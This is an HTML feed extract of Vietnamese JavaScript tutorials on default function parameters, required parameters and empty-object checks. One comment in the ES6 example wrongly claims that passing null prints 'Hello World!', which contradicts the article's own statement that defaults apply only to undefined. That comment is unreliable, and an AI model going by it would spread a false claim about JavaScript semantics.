punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello undefined!</span></code></pre></div> <p>Giá trị của <code>name</code> trong hàm trên là <code>undefined</code>. Để <strong>set giá trị mặc định</strong> cho <code>name</code> khi không truyền giá trị vào, mình có thể làm theo hai cách sau đây.</p> <h2 id="set-giá-trị-mặc-định-cho-tham-số-hàm-với-es5" style="position:relative;"><a href="#set-gi%C3%A1-tr%E1%BB%8B-m%E1%BA%B7c-%C4%91%E1%BB%8Bnh-cho-tham-s%E1%BB%91-h%C3%A0m-v%E1%BB%9Bi-es5" aria-label="set giá trị mặc định cho tham số hàm với es5 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Set giá trị mặc định cho tham số hàm với ES5</h2> <p>Với ES5, mình có thể sử dụng toán tử OR <code>||</code> để set giá trị mặc định cho tham số hàm như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token parameter">name</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> finalName <span class="token operator">=</span> name <span class="token operator">||</span> <span class="token string">"World"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Hello </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>finalName<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">!</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// có truyền tham số</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token string">"Alex"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello Alex!</span> <span class="token comment">// không truyền tham số</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello World!</span></code></pre></div> <p>Toán tử OR <code>||</code> thực hiện ước lượng biểu thức <strong>từ trái sang phải</strong> và dừng lại khi gặp giá trị <a href="/toan-tu-logic-trong-javascript/#truthy-v%C3%A0-falsy-trong-javascript-l%C3%A0-g%C3%AC">truthy</a> đầu tiên.</p> <p>Nếu bạn không truyền tham số vào hàm, nghĩa là giá trị của <code>name</code> bằng <code>undefined</code>. Mà giá trị <code>undefined</code> là <strong>falsy</strong>. Do đó, kết quả <code>finalName</code> bằng string <code>"World"</code>.</p> <p>Ngược lại, nếu bạn truyền vào hàm <strong>một string khác rỗng</strong> (mà string khác rỗng lại là <strong>truthy</strong>) thì <code>finalName</code> sẽ bằng giá trị truyền vào <code>name</code>.</p> <blockquote> <p><strong>Chú ý:</strong> nếu bạn truyền vào các giá trị <strong>falsy</strong> khác như <code>false</code>, <code>null</code>, <code>0</code>, <code>""</code>, <code>NaN</code> thì kết quả cũng tương tự như <code>undefined</code>.</p> </blockquote> <p>Ví dụ truyền vào các giá trị <strong>falsy</strong> khác nhau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token parameter">name</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> finalName <span class="token operator">=</span> name <span class="token operator">||</span> <span class="token string">"World"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Hello </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>finalName<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">!</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello World!</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello World!</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello World!</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token keyword">undefined</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello World!</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello World!</span></code></pre></div> <h2 id="set-giá-trị-mặc-định-cho-tham-số-hàm-với-es6" style="position:relative;"><a href="#set-gi%C3%A1-tr%E1%BB%8B-m%E1%BA%B7c-%C4%91%E1%BB%8Bnh-cho-tham-s%E1%BB%91-h%C3%A0m-v%E1%BB%9Bi-es6" aria-label="set giá trị mặc định cho tham số hàm với es6 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Set giá trị mặc định cho tham số hàm với ES6</h2> <p>Với <a href="/tag/es6/">ES6</a>, mình có thể <strong>khởi tạo giá trị mặc định</strong> cho tham số của hàm bằng cách dùng toán tử gán <code>=</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> sayHello <span class="token operator">=</span> <span class="token punctuation">(</span>name <span class="token operator">=</span> <span class="token string">"World"</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Hello </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">!</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// truyền tham số</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token string">"Alex"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello Alex!</span> <span class="token comment">// không truyền tham số</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello World!</span></code></pre></div> <p>Tuy nhiên, việc truyền các giá trị <strong>falsy</strong> vào lại cho <strong>kết quả khác</strong> so với cách ES5 trên:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> sayHello <span class="token operator">=</span> <span class="token punctuation">(</span>name <span class="token operator">=</span> <span class="token string">"World"</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Hello </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">!</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello !</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello 0!</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello false!</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token keyword">undefined</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello World! - trường hợp nhận giá trị mặc định</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello World!</span></code></pre></div> <p>Nghĩa là chỉ khi nào giá trị của tham số là <code>undefined</code> thì giá trị mặc định mới được nhận.</p> <h2 id="cách-bắt-buộc-truyền-tham-số-vào-hàm" style="position:relative;"><a href="#c%C3%A1ch-b%E1%BA%AFt-bu%E1%BB%99c-truy%E1%BB%81n-tham-s%E1%BB%91-v%C3%A0o-h%C3%A0m" aria-label="cách bắt buộc truyền tham số vào hàm permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách bắt buộc truyền tham số vào hàm</h2> <p>Nhiều khi mình không muốn sử dụng giá trị mặc định, mà bắt buộc truyền tham số vào hàm thì sao?</p> <p>Mình có thể tận dụng cách làm trên, nhưng cần phải thay đổi lại giá trị mặc định như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token function-variable function">isRequired</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">param</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">throw</span> <span class="token function">Error</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Parameter: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>param<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> is required!</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">const</span> sayHello <span class="token operator">=</span> <span class="token punctuation">(</span>name <span class="token operator">=</span> <span class="token function">isRequired</span><span class="token punctuation">(</span><span class="token string">"name"</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Hello </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">!</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// truyền tham số</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token string">"Alex"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello Alex!</span> <span class="token comment">// không truyền tham số</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Uncaught Error: Parameter: name is required!</span></code></pre></div> <p>Ở đây, giá trị mặc định là kết quả của việc gọi hàm <code>isRequired()</code>. Nghĩa là nếu bạn không truyền tham số vào thì hàm <code>isRequired()</code> sẽ được gọi.</p> <p>Dẫn đến kết quả là một thông báo lỗi được <code>throw</code> ra như trên.</p> <p>Tham khảo:</p> <ul> <li><a href="/toan-tu-logic-trong-javascript/">Toán tử logic trong JavaScript</a></li> <li><a href="/ham-la-gi-ham-trong-javascript/">Hàm là gì? Hàm trong JavaScript</a></li> </ul>[email protected]<![CDATA[Cách kiểm tra empty object trong JavaScript?]]><![CDATA[Giả sử bạn đang muốn kiểm tra empty object đối với một giá trị cho trước, với empty object được hiểu như sau: Đó là một object. Và object đó không có một thuộc tính enumerable nào…]]>https://completejavascript.com/kiem-tra-empty-object-trong-javascript/https://completejavascript.com/kiem-tra-empty-object-trong-javascript/<![CDATA[Câu hỏi JS Cơ bản]]>Sat, 18 Dec 2021 20:00:00 GMT<p>Giả sử bạn đang muốn <strong>kiểm tra empty object</strong> đối với một giá trị cho trước, với empty object được hiểu như sau:</p> <ul> <li>Đó là một <a href="/object-la-gi-object-trong-javascript/">object</a>.</li> <li>Và object đó không có một thuộc tính <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">enumerable</a> nào cả.</li> </ul> <p>Nói cách khác, <strong>empty object</strong> được biểu diễn như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> emptyObject <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Vậy cách để kiểm tra empty object là gì?</p> <h2 id="cách-kiểm-tra-empty-object-trong-javascript" style="position:relative;"><a href="#c%C3%A1ch-ki%E1%BB%83m-tra-empty-object-trong-javascript" aria-label="cách kiểm tra empty object trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách kiểm tra empty object trong JavaScript</h2> <p>Như mình đã nói ở trên, empty object phải thỏa mãn cả 2 điều kiện: là object và không có thuộc tính enumerable. Vì vậy, mình sẽ kiểm tra từng thành phần như sau.</p> <h3 id="kiểm-tra-là-object" style="position:relative;"><a href="#ki%E1%BB%83m-tra-l%C3%A0-object" aria-label="kiểm tra là object permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểm tra là object</h3> <p>Để một giá trị là object:</p> <ul> <li><strong>Điều kiện cần:</strong> khác <code>null</code> và khác <code>undefined</code>.</li> <li><strong>Điều kiện đủ:</strong> hàm khởi tạo <code>constructor</code> phải là <code>Object</code>.</li> </ul> <p>Một số ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> a <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">,</span> b <span class="token operator">=</span> <span class="token string">"hello"</span><span class="token punctuation">,</span> c <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> d <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">6</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token function-variable function">e</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">.</span>constructor<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Number</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>b<span class="token punctuation">.</span>constructor<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// String</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>c<span class="token punctuation">.</span>constructor<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Array</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>d<span class="token punctuation">.</span>constructor<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Object</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>e<span class="token punctuation">.</span>constructor<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Function</span></code></pre></div> <p>Như vậy, mình sẽ viết hàm để kiểm tra object như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token function-variable function">isObject</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">v</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token operator">!</span><span class="token operator">!</span>v <span class="token operator">&amp;&amp;</span> v<span class="token punctuation">.</span>constructor <span class="token operator">===</span> Object<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Thử kiểm tra lại:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> a <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">,</span> b <span class="token operator">=</span> <span class="token string">"hello"</span><span class="token punctuation">,</span> c <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> d <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">6</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token function-variable function">e</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">,</span> f <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">,</span> g <span class="token operator">=</span> <span class="token keyword">undefined</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isObject</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isObject</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isObject</span><span class="token punctuation">(</span>c<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isObject</span><span class="token punctuation">(</span>d<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isObject</span><span class="token punctuation">(</span>e<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isObject</span><span class="token punctuation">(</span>f<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isObject</span><span class="token punctuation">(</span>g<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Kết quả hiện thị bên trên là <strong>đúng với yêu cầu</strong>. Tiếp theo, mình sẽ triển khai phần <strong>kiểm tra object là empty</strong>.</p> <h3 id="kiểm-tra-object-là-empty" style="position:relative;"><a href="#ki%E1%BB%83m-tra-object-l%C3%A0-empty" aria-label="kiểm tra object là empty permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểm tra object là empty</h3> <p>Để kiểm tra object là empty trong <a href="/tag/es6/">ES6</a>, mình sử dụng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys"><code>Object.keys()</code></a>. Phương thức này trả về một mảng chứa tất cả các thuộc tính <strong>enumerable</strong> của object.</p> <p>Nếu kết quả trả về là <strong>mảng rỗng</strong> thì suy ra object đó <strong>không chứa thuộc tính enumerable</strong> nào.</p> <p>Ví dụ sử dụng <code>Object.keys()</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> a <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">,</span> b <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> c <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">m</span><span class="token operator">:</span> <span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token literal-property property">n</span><span class="token operator">:</span> <span class="token string">"b"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Object<span class="token punctuation">.</span><span class="token function">keys</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// []</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Object<span class="token punctuation">.</span><span class="token function">keys</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ["x"]</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Object<span class="token punctuation">.</span><span class="token function">keys</span><span class="token punctuation">(</span>c<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ["m", "n"]</span></code></pre></div> <p>Bây giờ, mình sẽ viết <strong>hàm kiểm tra object có empty hay không</strong> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token function-variable function">isEmpty</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">v</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> Object<span class="token punctuation">.</span><span class="token function">keys</span><span class="token punctuation">(</span>v<span class="token punctuation">)</span><span class="token punctuation">.</span>length <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Kiểm tra lại hàm <code>isEmpty()</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> a <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">,</span> b <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> c <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">m</span><span class="token operator">:</span> <span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token literal-property property">n</span><span class="token operator">:</span> <span class="token string">"b"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isEmpty</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isEmpty</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isEmpty</span><span class="token punctuation">(</span>c<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Kết quả lần này lại đúng như mong đợi.</p> <h3 id="tổng-hợp-cách-kiểm-tra-empty-object-trong-javascript" style="position:relative;"><a href="#t%E1%BB%95ng-h%E1%BB%A3p-c%C3%A1ch-ki%E1%BB%83m-tra-empty-object-trong-javascript" aria-label="tổng hợp cách kiểm tra empty object trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng hợp cách kiểm tra empty object trong JavaScript</h3> <p>Kết hợp 2 đoạn kiểm tra trên, mình suy ra <a href="/ham-la-gi-ham-trong-javascript/">hàm</a> để kiểm tra empty object trong JavaScript là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token function-variable function">isEmptyObject</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">v</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token operator">!</span><span class="token operator">!</span>v <span class="token operator">&amp;&amp;</span> v<span class="token punctuation">.</span>constructor <span class="token operator">===</span> Object <span class="token operator">&amp;&amp;</span> Object<span class="token punctuation">.</span><span class="token function">keys</span><span class="token punctuation">(</span>v<span class="token punctuation">)</span><span class="token punctuation">.</span>length <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Một số ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> a <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">,</span> b <span class="token operator">=</span> <span class="token string">"hello"</span><span class="token punctuation">,</span> c <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> d <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token function-variable function">e</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token 